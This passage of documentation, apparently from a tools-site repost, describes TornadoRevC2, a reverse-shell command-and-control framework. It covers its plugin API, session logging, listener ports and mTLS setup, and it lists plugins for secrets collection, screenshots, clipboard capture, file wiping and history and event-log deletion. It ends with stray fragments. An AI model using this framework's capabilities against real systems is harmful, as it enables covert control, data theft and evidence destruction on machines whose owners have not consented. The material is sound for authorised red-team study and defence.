    def run(session: SessionContext, args):
        return run_collector_plugin(
            session, "rdp",
            None,                    # no Linux builder
            build_command,
            format_generic_report,
            timeout=35.0,
        )
    

    Linux-only:

    root@kitploit:~
    @plugin.command(name="cron", platforms=["linux", "unix"], description="...")
    def run(session: SessionContext, args):
        return run_collector_plugin(
            session, "cron",
            build_linux_command,
            None,                    # no Windows builder
            format_generic_report,
            timeout=30.0,
        )
    

    Cross-platform with split builders:

    Some shared plugins delegate to platform-specific builder modules (e.g. virtualization imports from linux/virtualization.py and windows/virtualization.py). The @plugin.command entry point stays in shared/; builder modules under linux/ or windows/ contain no decorator and are not registered as independent plugins.

    External plugins

    External plugins let you extend TornadoRevC2 without modifying the repository.

    Setup:

    root@kitploit:~
    # Default location (created automatically if missing)
    ./plugins/myplugin.py
    
    # Or set a custom directory
    export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins
    

    Workflow:

    root@kitploit:~
    # From the handler console
    plugins load myplugin          # import and register commands
    plugins info myplugin          # verify name, platforms, description, module path
    run myplugin 1                 # execute against session 1
    run myplugin 1 --verbose       # extra args passed to handler as args=["--verbose"]
    plugins reload myplugin        # re-import after editing (clears stale registrations)
    plugins unload myplugin        # fully unload external plugin
    

    External vs built-in lifecycle:

    ActionBuilt-in pluginExternal plugin
    plugins unloadSoft-disabled (module stays imported)Fully unloaded and unregistered
    plugins reloadRe-imports module, clears stale command registrationsRemoves from sys.modules, re-imports from disk
    StartupAuto-loadedLoaded on demand

    External modules are imported as tornado_ext_plugin_<name> to avoid namespace collisions.

    SessionContext API

    Every handler receives a SessionContext wrapping the handler and client socket:

    Metadata properties:

    PropertyTypeDescription
    session_idstrAssigned session identifier
    platformstrunix, windows, or unknown
    is_windows / is_unixboolPlatform convenience flags
    sysinfodictCached host information from sysinfo collection
    identitydictSession identity/fingerprint metadata
    addrtupleRemote address
    tlsboolWhether session uses TLS
    namestrOperator-assigned friendly name
    fingerprintstrStable host fingerprint
    loggerSessionLoggerPer-session log writer (may be None)
    colorsdictConsole color codes
    socketsocketRaw client socket (advanced use)

    Execution methods:

    MethodDescription
    run_shell(cmd, timeout=15.0)Send command, wait for output, return string
    run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)Stream output with idle detection; useful for long-running commands
    run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)Execute platform-appropriate command and extract marked payload
    get_cwd()Return remote working directory
    collect_sysinfo(mode='stealth')Trigger host info collection

    Transfer methods:

    MethodDescription
    upload(local_path, remote_path, resume=False)Upload file to target
    download(remote_path, local_path, resume=False)Download file from target
    verify_remote(remote_path)Verify remote file size and SHA-256

    Logging and output:

    MethodDescription
    print(text, color=None)Print to operator console with optional color (red, green, yellow, cyan)
    log_event(message)Append timestamped event to session.log
    log_command(cmd, output)Log command and output to session.log
    log_plugin_result(name, report, detail='')Write report to logs/<session>/plugins/<name>_<timestamp>.log

    Error handling & return codes

    ReturnMeaningHandler behavior
    0SuccessNo warning displayed
    1 (or any non-zero)FailureYellow warning: Plugin 'name' returned code N
    Uncaught exceptionErrorRed error message; logged to session log

    Collector failure modes (handled by run_collector_plugin):

    ConditionBehavior
    Timeout / no markers in outputExit 1, log "no response"
    Output not valid JSONExit 1, log raw output (truncated) as detail
    data["error"] presentExit 1, print error and traceback
    Partial section failuresShould not set top-level error; leave section empty

    Soft failures (operational plugins): Use reason or ok: false and handle in a custom formatter or custom handler rather than relying on the runner's hard error check.

    Best practices

    1. Prefer native OS commands over uploaded tooling—aligns with the framework's dependency-light design.
    2. Do not write files on the target for enumeration; return data over the shell channel. Operational plugins (wiper, historydel) are exceptions with clear purpose.
    3. Degrade gracefully — probe each backend independently; empty sections beat total failure.
    4. Cap output size — trim lists to 50–80 items; truncate long strings to 200–500 characters.
    5. Set realistic timeouts — quick probes: 15–30s; comprehensive enumeration: 45–75s.
    6. Log consistently — call session.log_event() at start, session.log_plugin_result() on completion, session.log_command() for transcript export.
    7. Validate args early — return 1 with usage message before sending anything to the target.
    8. Test from both consoles — main handler (run plugin <ID>) and attached session (switch then run plugin).
    9. Use plugins reload during development to pick up changes without restarting the handler.
    10. Scrub sensitive markers from collected output if your plugin reads arbitrary file content.

    Reference implementations

    PluginFilePatternNotes
    firewallplugins/shared/firewall.pyCross-platform collectorMulti-backend graceful degradation
    portsplugins/shared/ports.pyCross-platform collectorNative ss / Get-NetTCPConnection
    historyplugins/shared/history.pyCross-platform collectorLinux Python + Windows PowerShell builders
    memorymapplugins/shared/memorymap.pyCustom handlerPID argument, dynamic builder
    screenshotplugins/shared/screenshot.pyCustom handlerBase64 in JSON; operator-side PNG save
    clipboardplugins/shared/clipboard.pyCustom handlerSoft failure via reason field
    historydelplugins/shared/historydel.pyCustom handlerDestructive; post-collector shell cleanup
    wiperplugins/shared/wiper.pyCustom handlerDestructive; path argument validation
    servicesplugins/windows/services.pyWindows-only collectorMinimal entry point
    eventlogdelplugins/windows/eventlogdel.pyWindows-only collectorDestructive; per-log failure reporting
    rdpplugins/windows/rdp.pyWindows-only collectorRegistry and firewall enumeration
    virtualizationplugins/shared/virtualization.pyShared entry + split buildersImports linux/ and builders

    For new enumeration plugins, start from run_collector_plugin in plugins/shared/runner.py and copy the layout from firewall.py or ports.py. For plugins with arguments or side effects, refer to memorymap.py or wiper.py.


    Session Logging

    Each session writes to an isolated directory under logs/:

    root@kitploit:~
    logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
      session.log           Operator commands and console output
      sysinfo.json          Host information snapshot
      transfers/            Upload and download event logs
      executions/           In-memory payload execution metadata
      plugins/              Plugin reports and collector output
          quickenum_20260812_054812.log
          firewall_20260812_055130.log
          screenshot_20260812_055412.png
    

    Plugin logs contain a human-readable report and, when applicable, the raw JSON payload returned by the remote collector.


    Project Structure

    root@kitploit:~
    TornadoRevC2/
    ├── tornadorevc2.py                 Entry point
    ├── tornadorevc2/
    │   ├── handler.py                  Listeners, sessions, operator console
    │   ├── updater.py                  Git-based self-update and restart
    │   ├── sysinfo.py                  Host information collection
    │   ├── terminal.py                 PTY/TTY management
    │   ├── transfer.py                 Chunked file transfers
    │   ├── tunnel.py                   SOCKS5 pivoting
    │   ├── remote_exec.py              Remote command builders
    │   ├── win_client.py               Windows shell detection and script delivery
    │   ├── session_registry.py         Session persistence and reconnect logic
    │   ├── session_log.py              Per-session directory logging
    │   ├── export.py                   HTML transcript export
    │   ├── payloads.py                 Built-in payload catalog
    │   └── plugins/
    │       ├── api.py                  SessionContext and plugin registration
    │       ├── manager.py              Plugin lifecycle and execution
    │       ├── loader.py               Module discovery
    │       ├── shared/                 Cross-platform plugins
    │       ├── linux/                  Linux/Unix-only plugins
    │       └── windows/                Windows-only plugins
    ├── plugins/                        Optional external plugin directory
    └── logs/                           Session output (created at runtime)
    

    TLS & mTLS Configuration

    TornadoRevC2 runs three isolated listeners, each with its own certificate source. Everything under tls_certs/ and mtls_certs/ is auto-generated on first run and never overwritten.

    ListenerPortClient authCertificates
    TCP4444none—
    TLS8443server-onlytls_certs/server.pem, tls_certs/server.key
    mTLS9443mutual (client certificate required)mtls_certs/ bundle

    TLS

    Auto-generated as a self-signed pair (CN=localhost, RSA-2048, 3650 days).

    To supply your own:

    root@kitploit:~
    python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
      -c tls_certs/server.pem -k tls_certs/server.key
    

    If the client connects using an IP address, the server certificate should include that IP in its Subject Alternative Name (SAN). Avoid disabling hostname verification unless there is a specific reason to do so.

    mTLS

    On first run, a full PKI is bootstrapped under mtls_certs/:

    • ca.pem / ca.key — self-signed CA (RSA-4096, CN=TornadoRevC2-mTLS-CA)
    • server-mtls.pem / server-mtls.key — server certificate signed by the CA
    • client.pem / client.key — client certificate signed by the CA
    • ca.srl — OpenSSL serial counter generated during certificate signing

    Ship client.pem + client.key + ca.pem with the authorized client. The client must present its certificate on connect or the handshake is rejected.

    Start with explicit paths:

    root@kitploit:~
    python tornadorevc2.py -H 0.0.0.0 -mp 9443 \
      --mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key \
      --mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key \
      --mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
    

    Upgrading a live session to mTLS

    Existing sessions on plain TCP or server-auth TLS can be moved onto the mTLS listener without restarting the handler. The upgrade_mtls plugin uploads client.pem, client.key, and ca.pem to the target, launches a background shell that presents the client certificate, and (by default) removes the bundle from disk once the new session is up.

    root@kitploit:~
    # From the main handler prompt
    run upgrade_mtls 1 --port 9443 --host 10.10.14.7
    run upgrade_mtls 1 --keep-bundle       # leave certs on disk after launch
    run upgrade_mtls 1 --no-upload         # certificate bundle already uploaded manually
    
    # From inside an attached session (switch 1)
    run upgrade_mtls
    

    Flags

    FlagDefault
    -H / --host0.0.0.0
    -p / --port4444
    -tp / --tls-port8443
    -mp / --mtls-port9443
    -c / --cert, -k / --keytls_certs/server.{pem,key}
    --mtls-ca-cert / --mtls-ca-keymtls_certs/ca.{pem,key}
    --mtls-server-cert / --mtls-server-keymtls_certs/server-mtls.{pem,key}
    --mtls-client-cert / --mtls-client-keymtls_certs/client.{pem,key}

    License

    This project is licensed under the GNU General Public License v3.0.

    Download Tool
    windows/
    secretsplugins/linux/secrets.pyLinux-only collectorPlatform-restricted listing